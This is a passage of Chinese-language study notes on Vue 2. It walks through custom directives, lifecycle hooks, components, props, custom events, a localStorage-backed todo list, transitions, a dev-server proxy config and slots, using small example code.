element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding) {
element.value = binding.value
},
}
}
})
</script>
</body>
全局指令
<body>
<div id="demo">
<h2>hello Vue</h2>
<h2>当前的n值是:<span v-text="x"></span></h2>
<!-- <h2>放大10倍后的n值是:<span v-big="x"></span></h2> -->
<h2>放大10倍后的n值是:<span v-big-number="x"></span></h2>
<button @click="x++">点 n +1</button>
<!-- 分隔线 -->
<hr>
<input type="text" v-fbind:value="x">
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
Vue.directive('fbind',{
// 指令与元素成功绑定时 (一上来就绑定)
bind(element,binding){
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding) {
element.value = binding.value
},
})
/* Vue.directive('big',function(element,binding){
element.innerText = binding.value*10
}) */
const vm = new Vue({
el: '#demo',
data() {
return {
x:1
}
},
directives:{
// element是获取的标签(DOM 元素),binding是绑定的数据
'big-number'(element,binding){
element.innerText = binding.value*10
},
}
})
</script>
</body>
总结:
(1)局部指令:
new Vue({
directives:{指令名:配置对象}
})
或
new Vue({
directives{指令名:回调函数}
})
(2)全局指令:
Vue.directive(指令名:配置对象) 或 Vue.directive(指令名:回调函数)
生命周期
<body>
<div id="demo">
<!-- <h2 :style="{opacity:opacity}">欢迎来到加勒比</h2> -->
<!-- 属性名和属性值(变量名)是相同的,就可以省略只写一个 -->
<h2 :style="{opacity}">欢迎来到加勒比</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: '#demo',
data() {
return {
opacity: 1
}
},
// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
console.log('mounted',this)
setInterval(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1
}, 16)
}
})
/* const vm = new Vue({
el:'#demo',
data() {
return {
opacity:1
}
},
})
// 通过外部的定时器实现(不推荐)
setInterval(() =>{
vm.opacity -= 0.01;
if(vm.opacity <= 0) vm.opacity = 1
},16) */
</script>
完整生命周期
<body>
<div id="demo">-->
<h2>当前的值是:{{n}}</h2>
<button @click="add">点 n +1</button>
<button @click="bye">点我销毁vm</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: '#demo',
data() {
return {
n:1
}
},
methods: {
add(){
console.log("调用add")
this.n++
},
bye(){
console.log('bye')
this.$destroy()
}
},
watch:{
n(){
console.log("n变了")
}
},
beforeCreate() {
console.log('beforeCreate:')
// console.log(this);
// debugger;
},
created() {
console.log('Created:')
// debugger;
},
beforeMount() {
console.log('beforeMout:')
// debugger;
},
mounted() {
console.log('mounted :')
// debugger;
},
beforeUpdate() {
console.log('beforeUpdate :')
// console.log(this.n)
// debugger;
},
updated() {
console.log('update :')
console.log(this.n)
// debugger;
},
beforeDestroy() {
console.log('beforeDestroy')
console.log(this.n)
this.add()
},
destroyed() {
console.log('destroyed')
},
})
</script>
总结
<body>
<!--
常用的生命周期钩子:
1、mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
2、beforeDestroy:清楚定时器、解绑自定义事件、取消订阅消息等【收尾工作】
关于销毁Vue实例
1、销毁后借助Vue开发者工具看不到任何消息
2、销毁后自定义事件会失效,但原生的DOM事件依然有效
3、一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
-->
<div id="demo">
<h2 :style="{opacity}">欢迎来到加勒比</h2>
<button @click="opacity = 1">透明的设置为1</button>
<button type="text/javascript" @click="stop">停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: '#demo',
data() {
return {
opacity: 1
}
},
methods: {
stop(){
this.$destroy()
}
},
// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
console.log('mounted',this)
this.timer = setInterval(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
beforeDestroy() {
console.log("vue即将被销毁")
clearInterval(this.timer)
},
})
</script>
组件
非单文件组件
Vue使用组件的三大步骤:
(1)定义组件(创建组件)
(2)注册组件
(3)使用组件(写组件标签)
定义一个组件:使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样。但也有区别:
(1)el 不要写。最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
(2)data必须写成一个函数。避免组件被复用时,数据存在引用关系
备注:使用template可以配置组件结构
注册组件:
(1)局部注册:靠new Vue 传入components选项
(2)全局注册:靠Vue.component(‘组件名’,组件)
<body>
<div id="demo">
<h2>{{msg}}</h2>
<hello></hello>
<!-- 第三步:编写组件标签 -->
<school></school>
<hr>
<student></student>
</div>
<hr>
<div id="demo1">
<hello></hello>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
// 第一步创建组件
// 创建school组件
const school = Vue.extend({
template:`
<div>
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="show">点我提示</button>
</div>
`,
data(){
return{
schoolName:"剑桥",
address:'通辽'
}
},
methods: {
show(){
alert(this.schoolName)
}
},
})
// 创建student组件
const student = Vue.extend({
template:`
<div>
<h2>学生名字:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data(){
return{
studentName:"张三",
age:13
}
}
})
// 创建组件hello
const hello = Vue.extend({
template:`
<div>
<h2>全世界{{name}}联合起来!</h2>
</div>
`,
data(){
return{
name:"无产阶级"
}
}
})
// 全局注册组件
Vue.component('hello',hello)
new Vue({
el: '#demo',
data() {
return {
msg:"hello"
}
},
//第二步:注册组件(局部注册)
components:{
/*
可以用键值对 xuexiao:school
对应的组件标签就要变成 <xuexiao></xuexiao>
*/
school,
student
}
})
new Vue({
el:"#demo1"
})
</script>
组件的命名方式
<body>
<!--
1、关于组件名:
一个单词组成: 首字母小写:school 首字母大写:School
多个单词组成: kebab-case命名:my-school CamelCase命名:MySchool(需要Vue脚手架支持)
注意:(1) 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2) 可以使用name配置项指定组件再开发者工具中呈现的名字。例如下列:name:"qiu",
2、关于组件标签:
第一个写法:<school></school> 第二种写法:<school/>
注意:不能使用脚手架时,<school/>会导致后续组件不能渲染
3、一个简写方式:
const school = Vue.extend(options) 可简写为:const school = options
-->
<div id="demo">
<h2>{{msg}}</h2>
<my-school></my-school>
<!-- <my-school/> -->
<school1></school1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
// 创建school组件
const school = Vue.extend({
// name:"qiu",
template:`
<div>
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
`,
data(){
return{
schoolName:"剑桥",
address:'通辽'
}
},
})
// 简写
const school1 = {
template:`
<div>
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
`,
data(){
return{
schoolName:"剑桥1",
address:'通辽1'
}
},
}
new Vue({
el: '#demo',
data() {
return {
msg:"hello"
}
},
//注册组件(局部注册)
components:{
'my-school':school,
school1
}
})
</script>
组件的嵌套
<body>
<div id="demo">
<!-- 可以直接在vm中编写标签 -->
<!-- <app></app> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
// 创建student组件
const student = Vue.extend({
template: `
<div>
<h2>学生名字:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
studentName: "张三",
age: 13
}
}
})
// 创建school组件
const school = Vue.extend({
template: `
<div>
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<student></student>
</div>
`,
data() {
return {
schoolName: "剑桥",
address: '通辽'
}
},
//注册组件(局部注册)
// 注意创建student组件要在创建school组件之前
components: {
student
}
})
// 创建组件hello
const hello = Vue.extend({
template: `
<h2>全世界{{name}}联合起来!</h2>
`,
data() {
return {
name: "无产阶级"
}
}
})
// 定义app组件
const app = Vue.extend({
template: `
<div>
<hello></hello>
<school></school>
</div>
`,
components:{
school,
hello
}
})
// 创建Vue
new Vue({
template: `<app></app>`,
el: '#demo',
//注册组件(局部注册)
components: {app}
})
</script>
关于VueComponent:
1、school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2、当我们写<school/> 或 <school></school> Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行 new VueComponent(options)
3、特别注意:每次调用Vue.extend。返回的都是一个全新的VueComponent!!!
4、关于this指向:
(1) 组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 他们的this均是【VueComponents实例对象】
(2) new Vue()配置中:data函数、methods中的函数、watch中的函数、computed中的函数 他们的this均是【Vue实例对象】
5、VueComponent的实例对象,简称vc(可称之为组件实例对象) Vue实例对象,简称vm
原型对象
//定义一个构造函数
function Demo(){
this.x = 1;
this.y = 2;
}
// 创建一个Demo实例对象
const d = new Demo()
console.log(Demo.prototype)//显示原型属性
console.log(d.__proto__)//隐式原型属性
console.log(Demo.prototype===d.__proto__)// true
//通过显示原型属性操作原型对象,追加一个k属性,值为99
Demo.prototype.k=99;
console.log("d:",d)
内置关系
<body>
<!--
重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性和方法
-->
<div id="demo">
<school></school>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
Vue.prototype.x = 99
// 创建school组件
const school = Vue.extend({
// name:'qiu',
template: `
<div>
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="show">点我</button>
</div>
`,
data() {
return {
schoolName: "剑桥",
address: '通辽'
}
},
methods: {
show(){
alert(this.x)
}
},
})
console.log(school.prototype.__proto__ === Vue.prototype)//true
// 创建Vue
new Vue({
el: '#demo',
//注册组件(局部注册)
components: {school}
})
</script>
单文件组件
Student.vue
<template>
<!-- 组件的结构 -->
<div>
<h2>学生名字:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
</template>
<script>
//组件交互的相关代码(数据、方法等等)
export default {
name: "Student",
data() {
return {
studentName: "张三",
age: 13
}
}
}
</script>
<style>
</style>
School.vue
<template>
<!-- 组件的结构 -->
<div class="demo">
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="show">点我</button>
</div>
</template>
<script>
//组件交互的相关代码(数据、方法等等)
/* // 三种暴露方式 第一种 在const 前面加export (分别暴露)
const School = Vue.extend({
data() {
return {
schoolName: "剑桥",
address: '通辽'
}
},
methods: {
show(){
alert(this.x)
}
},
})
// 第二种暴露方式 统一暴露
// export {school}
// 第三种暴露方式 默认暴露 (推荐)
export default school */
// 可以直接
export default {
name:"School",
data() {
return {
schoolName: "剑桥",
address: '通辽'
}
},
methods: {
show(){
alert(this.x)
}
},
}
</script>
<style>
/* 组件的样式 */
.demo{
background-color: aqua;
}
</style>
App.vue
<template lang="">
<div>
<img src="./assets/logo.png" alt="logo">
<School></School>
<Student></Student>
</div>
</template>
<script>
//引入组件
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
name:"App",
components:{
School,
Student,
}
}
</script>
<style lang="">
</style>
render函数
Vue.js是完整版的Vue,包含核心功能+模板解析器
Vue.runtime.xxx.js是运行版的Vue,只包含核心功能,不包含模板解析器
因为Vue.runtime.xxx.js不包含模板解析器,所以不能使用template配置项,需要使用render函数接收到createElement函数去指定具体内容
默认配置不推荐修改
vue.config.js配置文件
使用vue inspect>output.js可以查看到Vue脚手架的默认配置。
修改vue.config.js配置文件可以进行个性化定制,参考官网 https://cli.vuejs.org/zh/config/。
ref属性
1、被用来给元素或子组件注册引用信息(id的替代者)
2、应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
3、使用方式:
打标识:<h1 ref="title"></h1>
获取:this.$refs.title
<template lang="">
<div>
<h1 v-text="msg" ref="title"></h1>
<button ref="btn" @click="show">点击输出上方的DOM元素</button>
<School ref="sch"></School>
</div>
</template>
<script>
//引入组件
import School from './components/School.vue'
export default {
name:"App",
components:{
School,
},
data(){
return{
msg:"hello Vue"
}
},
methods:{
show(){
console.log(this.$refs.title)// 真实DOM元素
console.log(this.$refs.btn)// 真实DOM元素
console.log(this.$refs.sch)// School组件的实例对象
}
}
}
</script>
<style lang="">
</style>
props配置
-------student.vue---------
<template>
<!-- 组件的结构 -->
<div>
<h2>{{msg}}</h2>
<h2>学生名字:{{name}}</h2>
<h2>学生年龄:{{myAge}}</h2>
<h2>学生性别:{{sex}}</h2>
<button @click="show">修改年龄</button>
</div>
</template>
<script>
//组件交互的相关代码(数据、方法等等)
export default {
name: "Student",
data() {
return {
msg:"全世界无产阶级联合起来",
myAge:this.age
}
},
methods:{
show(){
this.myAge++;
}
},
//简单声明接收
// props:['name','age','sex']
//接收的同时对数据进行类型限制
/* props:{
name:String,
age:Number,
sex:String
} */
// 接收的同时对数据进行类型限制+默认值的指定+必要性的限制
props:{
name:{
type:String,
required:true
},
age:{
type:Number,
default:99
},
sex:{
type:String,
required:true
}
}
}
</script>
-------App.vue
<template lang="">
<div>
<Student name='messi' sex='1' :age='35'></Student>
</div>
</template>
<script>
//引入组件
import Student from './components/Student.vue'
export default {
name:"App",
components:{
Student,
},
}
</script>
mixin 混和
也可以在main.js中进行全局混合
import {football,football2} from './demo'
Vue.mixin(football)
Vue.mixin(football2)
插件
scoped
让样式在局部生效 防止冲突 <style scoped></style>
todoList -v 1.0
App.vue (样式略)
<template lang="">
<div id="root">
<div class="todo-container">
<div class="todo-wrap">
<Top :addTodo="addTodo"></Top>
<List
:todos="todos"
:checkTodo="checkTodo"
:delTodo="delTodo"
/>
<Feet
:todos="todos"
:checkAllTodo="checkAllTodo"
:clearAllTodo="clearAllTodo"
></Feet>
</div>
</div>
</div>
</template>
<script>
//引入组件
import Top from "./components/Top";
import List from "./components/List";
import Feet from "./components/Feet";
export default {
name: "App",
components: {
Top,
List,
Feet,
},
data() {
return {
todos: [
{ id:'1', title:"抽烟", done: true },
{ id:'2', title:"喝酒", done: false },
{ id:'3', title:"纹身", done: true },
],
};
},
methods:{
// 添加一个todo
addTodo(todoObj){
this.todos.unshift(todoObj)
},
// 勾选或取消一个todo
checkTodo(id){
this.todos.forEach((todo)=>{
if(todo.id == id) todo.done = !todo.done
})
},
// 删除一个todo
delTodo(id){
this.todos = this.todos.filter((todo)=>{
return todo.id != id
})
},
// 全选 or 取消全选
checkAllTodo(done){
this.todos.forEach((todo)=>{
todo.done = done
})
},
// 清楚所有已经完成的todo
clearAllTodo(){
this.todos = this.todos.filter((todo)=>{
return !todo.done
})
}
}
};
</script>
Top.vue
<template lang="">
<div class="todo-header">
<input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model.trim="inputValue" @keyup.enter="add"/>
</div>
</template>
<script>
//第三方库用于生成唯一的字符串比uuid小
import {nanoid} from 'nanoid'
export default {
name: "Top",
props:['addTodo'],
data(){
return{
inputValue:""
}
},
methods: {
add(){
// 校验数据
if(!this.inputValue) return
//将输入用户包装成一个todo对象
const todoObj = {id:nanoid(),title:this.inputValue,done:false}
// 通知App组件去添加一个todo对象
this.addTodo(todoObj)
// 清空输入
this.inputValue=""
}
/* add(e){
// 校验数据
if(!e.target.value.trim()) return
//将输入用户包装成一个todo对象
const todoObj = {id:nanoid(),title:e.target.value,done:false}
// 通知App组件去添加一个todo对象
this.addTodo(todoObj)
// 清空输入
e.target.value=""
} */
},
};
</script>
List.vue
<template lang="">
<ul class="todo-main">
<Item
v-for="todoObj in todos"
:key="todoObj.id"
:todo="todoObj"
:checkTodo="checkTodo"
:delTodo="delTodo"/>
</ul>
</template>
<script>
import Item from "./Item";
export default {
name: "List",
components: {
Item,
},
props:['todos','checkTodo','delTodo']
};
</script>
Item.vue
<template lang="">
<li>
<label>
<input type="checkbox" :checked="todo.done" @click="handleCheck(todo.id)" />
<!-- 不推荐这种写法,因为修改了props,违反原则 -->
<!-- <input type="checkbox" v-model="todo.done" /> -->
<span>{{todo.title}}</span>
</label>
<button class="btn btn-danger" @click="del(todo.id)">删除</button>
</li>
</template>
<script>
export default {
name: "Item",
// 声明接收todo对象
props: ["todo","checkTodo",'delTodo'],
methods:{
// 勾选
handleCheck(id){
//通知App将对应的todo对象的demo值取反
this.checkTodo(id)
},
// 删除
del(id){
if(confirm("确定删除吗?")){
this.delTodo(id)
}
}
}
};
</script>
Feet.vue
<template lang="">
<div class="todo-footer" v-show="total">
<label>
<!-- <input type="checkbox" :checked="isAll" @click="checkAll"/> -->
<input type="checkbox" v-model="isAll"/>
</label>
<span>
<span>已完成{{doneTotal}}</span> / 全部{{total}}
</span>
<button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
</div>
</template>
<script>
export default {
name: "Feet",
props: ["todos","checkAllTodo","clearAllTodo"],
computed: {
isAll:{
get(){
return this.total === this.doneTotal && this.total > 0
},
set(value){
this.checkAllTodo(value);
}
},
total(){
return this.todos.length;
},
doneTotal() {
/* const x = this.todos.reduce((pre, current) => {
console.log("@", pre, current);
return pre + (current.done ? 1 : 0);
}, 0);
console.log("x:",x) */
return this.todos.reduce((pre, todo) => pre + (todo.done ? 1 : 0), 0);
},
/* doneTotal(){
let i = 0;
this.todos.forEach((todo) => {
if(todo.done) i++
})
return i
} */
},
methods:{
/* checkAll(e){
console.log("checkAll",e.target.checked);
this.checkAllTodo(e.target.checked);
}, */
clearAll(){
this.clearAllTodo()
}
}
};
</script>
浏览器本地储存
浏览器通过Window.sessionStorage
和Window.localStorage
属性来实现本地存储机制。
sessionStorage
存储的内容会随着浏览器窗口关闭而消失
localStorage
存储的内容,需要手动清除才会消失
xxxxxStorage.getItem(xxx)
如果xxx对应的value值获取不到,那么getItem的返回值是null
Json.parse(null)
的结果依然是null
LocalStorage
<body>
<h2>localStorage</h2>
<button onclick="saveData()">保存数据</button>
<button onclick="readData()">读取数据</button>
<button onclick="delData()">删除数据</button>
<button onclick="clearData()">清空数据</button>
<script type="text/javascript">
let p = {name:"张三",age:18}
function saveData(){
localStorage.setItem("msg","hello")
localStorage.setItem("msg2",123)
localStorage.setItem("person",JSON.stringify(p))
}
function readData(){
console.log(localStorage.getItem('msg'))
console.log(localStorage.getItem('msg2'))
console.log(localStorage.getItem('person'))
const result = localStorage.getItem("person")
console.log(JSON.parse(result))
}
function delData(){
localStorage.removeItem("msg2")
}
function clearData(){
localStorage.clear()
}
</script>
</body>
sessionStorage
<body>
<h2>sessionStorage</h2>
<button onclick="saveData()">保存数据</button>
<button onclick="readData()">读取数据</button>
<button onclick="delData()">删除数据</button>
<button onclick="clearData()">清空数据</button>
<script type="text/javascript">
let p = {name:"张三",age:18}
function saveData(){
sessionStorage.setItem("msg","hello")
sessionStorage.setItem("msg2",123)
sessionStorage.setItem("person",JSON.stringify(p))
}
function readData(){
console.log(sessionStorage.getItem('msg'))
console.log(sessionStorage.getItem('msg2'))
console.log(sessionStorage.getItem('person'))
const result = sessionStorage.getItem("person")
console.log(JSON.parse(result))
}
function delData(){
sessionStorage.removeItem("msg2")
}
function clearData(){
sessionStorage.clear()
}
</script>
</body>
todoList的本地存储
App.vue
<script>
//引入组件
import Top from "./components/Top";
import List from "./components/List";
import Feet from "./components/Feet";
export default {
name: "App",
components: {
Top,
List,
Feet,
},
data() {
return {
todos: JSON.parse(localStorage.getItem("todos")) || [],
};
},
watch: {
todos: {
deep: true,
handler(value) {
localStorage.setItem("todos", JSON.stringify(value));
},
},
},
methods: {
// 添加一个todo
addTodo(todoObj) {
this.todos.unshift(todoObj);
},
// 勾选或取消一个todo
checkTodo(id) {
this.todos.forEach((todo) => {
if (todo.id == id) todo.done = !todo.done;
});
},
// 删除一个todo
delTodo(id) {
this.todos = this.todos.filter((todo) => {
return todo.id != id;
});
},
// 全选 or 取消全选
checkAllTodo(done) {
this.todos.forEach((todo) => {
todo.done = done;
});
},
// 清楚所有已经完成的todo
clearAllTodo() {
this.todos = this.todos.filter((todo) => {
return !todo.done;
});
},
},
};
</script>
组件自定义事件
绑定
App.vue
<template lang="">
<div class="app">
<h2>{{msg}}</h2>
<!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
<School :getSchoolName="getSchoolName"></School>
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据 -->
<!-- <Student v-on:sj="getStudentName"></Student> -->
<!-- <Student @sj="getStudentName"></Student> -->
<!-- 只触发一次 -->
<!-- <Student @sj.once="getStudentName"></Student> -->
<!-- 换种方式绑定事件 -->
<Student ref="student"/>
</div>
</template>
<script>
//引入组件
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
name:"App",
components:{
School,
Student,
},
data() {
return {
msg:"全世界无产阶级联合起来"
}
},
methods:{
getSchoolName(name){
console.log("App收到了学校名:",name)
},
getStudentName(name){
console.log("App收到了学生名:",name)
}
},
mounted() {
// console.log(this.$refs.student.studentName)
this.$refs.student.$on('sj',this.getStudentName)
//只触发一次
// this.$refs.student.$once('sj',this.getStudentName)
},
}
</script>
<style lang="less">
.app{
background-color: gold;
padding: 5px;
}
</style>
School.vue
<template>
<!-- 组件的结构 -->
<div class="school">
<h2>学校名:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="sendSchoolName">把学校名给App</button>
</div>
</template>
<script>
export default {
name:"School",
props:['getSchoolName'],
data() {
return {
schoolName: "剑桥",
address: '通辽'
}
},
methods:{
sendSchoolName(){
this.getSchoolName(this.schoolName)
}
}
}
</script>
<style lang="less" scoped>
/* 组件的样式 */
.school{
background-color: aqua;
padding: 5px;
}
</style>
Student.vue
<template>
<!-- 组件的结构 -->
<div class="student">
<h2>学生名字:{{ studentName }}</h2>
<h2>学生年龄:{{ age }}</h2>
<button @click="sendStudentName">把学生名给App</button>
</div>
</template>
<script>
//组件交互的相关代码(数据、方法等等)
export default {
name: "Student",
data() {
return {
studentName: "张三",
age: 13,
};
},
methods: {
sendStudentName() {
// 触发student组件实例身上的sj事件
this.$emit("sj",this.studentName)
},
},
};
</script>
<style lang="less" scoped>
.student {
background-color: antiquewhite;
padding: 5px;
margin-top: 30px;
}
</style>
解绑
Student.vue
<template>
<!-- 组件的结构 -->
<div class="student">
<h2>学生名字:{{ studentName }}</h2>
<h2>学生年龄:{{ age }}</h2>
<h2>当前的数字是:{{number}}</h2>
<button @click="add">点数字 + 1</button>
<button @click="sendStudentName">把学生名给App</button>
<button @click="unbindsj">解绑事件</button>
<button @click="death">销毁当前Student组件的实例 (vc)</button>
</div>
</template>
<script>
//组件交互的相关代码(数据、方法等等)
export default {
name: "Student",
data() {
return {
studentName: "张三",
age: 13,
number:0
};
},
methods: {
add(){
console.log("add被调用了")
this.number++
},
sendStudentName() {
// 触发student组件实例身上的sj事件
this.$emit("sj",this.studentName)
this.$emit("demo")
},
unbindsj(){
// this.$off("sj")// 解绑一个自定义事件
// this.$off(['sj','demo'])//解绑多个自定义事件
this.$off()//解绑所有自定义事件
},
death(){
// 销毁了当前Student组件的实例,销毁后所有Student实例的自定义事件全都不奏效
// 如果在main.js中销毁vm,vm的子组件和子组件的自定义事件都不奏效
this.$destroy()
}
},
};
</script>
<style lang="less" scoped>
.student {
background-color: antiquewhite;
padding: 5px;
margin-top: 30px;
}
</style>
App.vue
<template lang="">
<div class="app">
<h2>{{msg}}</h2>
<!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
<School :getSchoolName="getSchoolName"></School>
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据 -->
<!-- <Student v-on:sj="getStudentName"></Student> -->
<Student @sj="getStudentName" @demo="m"></Student>
<!-- 只触发一次 -->
<!-- <Student @sj.once="getStudentName"></Student> -->
<!-- 换种方式绑定事件 -->
<!-- <Student ref="student"/> -->
</div>
</template>
<script>
//引入组件
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
name:"App",
components:{
School,
Student,
},
data() {
return {
msg:"全世界无产阶级联合起来"
}
},
methods:{
getSchoolName(name){
console.log("App收到了学校名:",name)
},
getStudentName(name){
console.log("App收到了学生名:",name)
},
m(){
console.log("demo事件被触发了")
}
},
mounted() {
// console.log(this.$refs.student.studentName)
// this.$refs.student.$on('sj',this.getStudentName)
//只触发一次
// this.$refs.student.$once('sj',this.getStudentName)
},
}
</script>
<style lang="less">
.app{
background-color: gold;
padding: 5px;
}
</style>
总结
todolist的自定义事件
全局事件总线:任意组件间的通信
main.js
import Vue from 'vue'
import App from './App.vue'
Vue.config.productionTip = false
/* const Demo = Vue.extend({})
const d = new Demo
Vue.prototype.x = d
*/
const vm = new Vue({
render: h => h(App),
beforeCreate(){
// Vue.prototype.x = this
Vue.prototype.$bus = this //安装全局事件总线
}
}).$mount('#app')
todoList App.vue和 Item.vue之间的通信
消息订阅与发布
使用 pubsub.js ------ npm i pubsub-js
todoList 消息订阅发布
TodoList增加编辑按钮
$nextTick()
动画
动画效果
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<!-- appear="true" 一开始就动画 可以直接是appear-->
<transition name="h" :appear="true">
<h1 v-show="isShow">hello</h1>
</transition>
</div>
</template>
<script>
export default {
name:"Test",
data() {
return {
isShow:true
}
},
}
</script>
<style scoped>
h1{
background-color: gold;
}
.h-enter-active{
animation: demo 1s
}
.h-leave-active{
animation: demo 1s reverse
}
@keyframes demo {
from{
transform: translateX(-100%);
}
to{
transform: translateX(0px);
}
}
</style>
过度效果
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<!-- appear="true" 一开始就动画 可以直接是appear-->
<!-- transition 只适用单个元素 -->
<!-- transition-group可以使用多个元素 要加key值 -->
<transition-group name="h" :appear="true">
<h1 v-show="!isShow" key="1">hello</h1>
<h1 v-show="isShow" key="2">共产主义</h1>
</transition-group>
</div>
</template>
<script>
export default {
name:"Test2",
data() {
return {
isShow:true
}
},
}
</script>
<style scoped>
/*linear匀速*/
h1{
background-color: gold;
/* transition: 0.5s linear; */
}
/* 进入的起点 离开的终点 */
.h-enter,.h-leave-to{
transform: translateX(-100%);
}
.h-enter-active, .h-leave.active{
transition: 0.5s linear;
}
/* 进入的终点 离开的起点 */
.h-enter-to,.h-leave{
transform: translateX(0);
}
</style>
第三方动画
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition-group
name="animate__animated animate__bounce"
enter-active-class="animate__swing"
leave-active-class="animate__backOutDown"
appear>
<h1 v-show="isShow" key="1">hello</h1>
<h1 v-show="isShow" key="2">共产主义</h1>
</transition-group>
</div>
</template>
<script>
// 官网 https://animate.style/
// 下载 npm install animate.css
import 'animate.css' //引入
export default {
name:"Test3",
data() {
return {
isShow:true
}
},
}
</script>
<style scoped>
h1{
background-color: gold;
}
</style>
配置代理
这种方式的缺点:只能配置一个代理
会先访问public文件夹下的静态资源,如果同名的话,优先获取静态资源的数据不会访问服务器
可以配置多个代理
不加前缀即可访问public文件夹下的静态资源
App.vue
<template>
<div class="app">
<h2>{{ msg }}</h2>
<button @click="getStuInfo">获取学生信息</button>
<button @click="getCarInfo">获取汽车信息</button>
</div>
</template>
<script>
import axios from "axios";
export default {
name: "App",
data() {
return {
msg: "全世界无产阶级联合起来",
};
},
methods: {
getStuInfo() {
axios.get("http://localhost:8080/demo/students").then(
(response) => {
console.log("请求成功了", response.data);
},
(error) => {
console.log("请求失败了", error.message);
}
);
},
getCarInfo() {
axios.get("http://localhost:8080/test/cars").then(
(response) => {
console.log("请求成功了", response.data);
},
(error) => {
console.log("请求失败了", error.message);
}
);
},
},
};
</script>
<style lang="less">
</style>
vue.config.js
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
transpileDependencies: true,
lintOnSave:false, // 关闭语法检查
//开启代理服务器
devServer: {
proxy: {
'/demo': {
target: 'http://localhost:5000',
pathRewrite:{'^/demo':''}, //重写路径 正则 把所有以demo开头的变为空
ws: true, //用于支持webSocket
changeOrigin: true //用于控制请求的host值
},
'/test': {
target: 'http://localhost:5001',
pathRewrite:{'^/test':''}, //重写路径 正则 把所有以demo开头的变为空
ws: true, //用于支持webSocket
changeOrigin: true //用于控制请求的host值
},
}
}
})
vue-resource
在main.js中配置即可使用
import vueResource from 'vue-resource'
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)
把 axios 换成 this.$http即可
插槽
让父组件可以向子组件指定位置插入html结构,也是组件间通信的方式,适用于父组件=》子组件
默认插槽
App.vue
<template>
<div class="container">
<Category title="美食">
<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg">
</Category>
<Category title="游戏">
<li v-for="(item,index) in games" :key="index">{{item}}</li>
</Category>
<Category title="足球俱乐部">
<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
</Category>
</div>
</template>
<script>
import Category from './components/Category';
export default {
components: {Category},
name: "App",
data() {
return {
foods:['火锅','烧烤','烤肉','牛排'],
games:['csgo','LOL','dota','gata'],
clubs:['切尔西','巴塞罗那','阿森纳','拜仁']
};
},
methods: {
},
};
</script>
<style lang="less">
.container{
display: flex;
justify-content: space-around;
}
// 也可写在Category.vue中
img{
width: 100%;
}
video{
width: 100%;
}
</style>
Category
<template>
<div class="category">
<h3>{{title}}分类</h3>
<!-- 定义插槽 -->
<slot>我是一些文字,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name:"Category",
props:['title']
}
</script>
<style scoped>
.category{
background-color: skyblue;
width: 200px;
height: 300px;
}
h3{
text-align: center;
background-color: brown;
}
</style>
具名插槽
App.vue
<template>
<div class="container">
<Category title="美食">
<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" />
<a slot="footer" href="https://www.baidu.com">更多美食</a>
</Category>
<Category title="游戏">
<ul slot="center">
